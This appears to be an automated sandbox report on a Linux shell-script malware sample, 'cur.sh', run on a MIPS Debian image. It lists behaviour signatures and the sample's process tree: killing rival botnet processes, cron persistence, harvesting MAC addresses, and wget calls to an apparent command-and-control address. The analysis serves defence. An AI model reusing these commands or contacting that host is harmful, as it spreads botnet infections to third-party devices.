Analysis

  • max time kernel
    5s
  • max time network
    8s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/10/2026, 18:58

General

  • Target
    cur.sh
  • Size 7KB
  • Sample261002-xmmsgax15j
  • SHA256 2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cur.sh
    /tmp/cur.sh
    1⤵
    • Creates/modifies Cron job
    PID:716
    • /usr/bin/wc
      wc -c
      2⤵
        PID:719
      • /usr/bin/tr
        tr -cd 0-9
        2⤵
          PID:720
        • /usr/bin/killall
          killall -9 robben
          2⤵
          • Reads runtime system information
          PID:723
        • /usr/bin/killall
          killall -9 net.x86
          2⤵
          • Reads runtime system information
          PID:728
        • /usr/bin/killall
          killall -9 net.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:731
        • /usr/bin/killall
          killall -9 net.arm
          2⤵
          • Reads runtime system information
          PID:734
        • /usr/bin/killall
          killall -9 net.arm5
          2⤵
          • Reads runtime system information
          PID:736
        • /usr/bin/killall
          killall -9 net.arm6
          2⤵
          • Reads runtime system information
          PID:740
        • /usr/bin/killall
          killall -9 net.arm7
          2⤵
          • Reads runtime system information
          PID:742
        • /usr/bin/killall
          killall -9 net.mpsl
          2⤵
          • Reads runtime system information
          PID:745
        • /usr/bin/killall
          killall -9 net.ppc
          2⤵
          • Reads runtime system information
          PID:746
        • /usr/bin/killall
          killall -9 net.m68k
          2⤵
          • Reads runtime system information
          PID:747
        • /usr/bin/killall
          killall -9 net.sh4
          2⤵
          • Reads runtime system information
          PID:749
        • /usr/bin/killall
          killall -9 net.i486
          2⤵
          • Reads runtime system information
          PID:751
        • /usr/bin/killall
          killall -9 net.i686
          2⤵
          • Reads runtime system information
          PID:753
        • /usr/bin/killall
          killall -9 px86
          2⤵
          • Reads runtime system information
          PID:755
        • /usr/bin/killall
          killall -9 pmips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:757
        • /usr/bin/killall
          killall -9 parm
          2⤵
          • Reads runtime system information
          PID:758
        • /usr/bin/killall
          killall -9 hajime
          2⤵
          • Reads runtime system information
          PID:760
        • /usr/bin/killall
          killall -9 sora
          2⤵
          • Reads runtime system information
          PID:761
        • /usr/sbin/cron
          /usr/sbin/cron
          2⤵
            PID:762
          • /usr/bin/cron
            /usr/bin/cron
            2⤵
              PID:763
            • /usr/bin/killall
              killall -1 crond
              2⤵
              • Reads runtime system information
              PID:764
            • /usr/bin/killall
              killall -1 cron
              2⤵
              • Reads runtime system information
              PID:765
            • /usr/bin/touch
              touch /tmp/.xmN
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/grep
              grep -iE "hwaddr|ether"
              2⤵
                PID:770
              • /bin/grep
                grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
                2⤵
                  PID:771
                • /usr/bin/tr
                  tr -d :
                  2⤵
                    PID:773
                  • /usr/bin/head
                    head -1
                    2⤵
                      PID:772
                    • /usr/bin/head
                      head -1
                      2⤵
                        PID:778
                      • /bin/grep
                        grep -iE link/ether
                        2⤵
                          PID:776
                        • /bin/grep
                          grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
                          2⤵
                            PID:777
                          • /sbin/ip
                            ip addr show
                            2⤵
                            • System Network Configuration Discovery
                            PID:775
                          • /usr/bin/tr
                            tr -d :
                            2⤵
                              PID:779
                            • /usr/bin/wget
                              wget -q -O - http://94.154.43.203:8080/lease-xm4aa7d9594e12
                              2⤵
                                PID:780
                              • /bin/cat
                                cat /tmp/.xmver
                                2⤵
                                  PID:781
                                • /usr/bin/killall
                                  killall -9 xm
                                  2⤵
                                  • Reads runtime system information
                                  PID:782
                                • /usr/bin/killall
                                  killall -9 .sd
                                  2⤵
                                  • Reads runtime system information
                                  PID:783
                                • /bin/rm
                                  rm -f /tmp/.xmN
                                  2⤵
                                    PID:784
                                • /usr/bin/wget
                                  wget -q -O /dev/null http://94.154.43.203:8080/skip-xm4aa7d9594e12-v20
                                  1⤵
                                    PID:785

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

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                                        Downloads

                                        root

                                        • Path /var/spool/cron/crontabs/root
                                        • Size 88B
                                        • SHA256 daa55b680d452f0bde4dfb4433d4ae26395e58bdf8dba0a8925d94a447936a7d
                                        • MD5 SHA1 SHA512 TLSH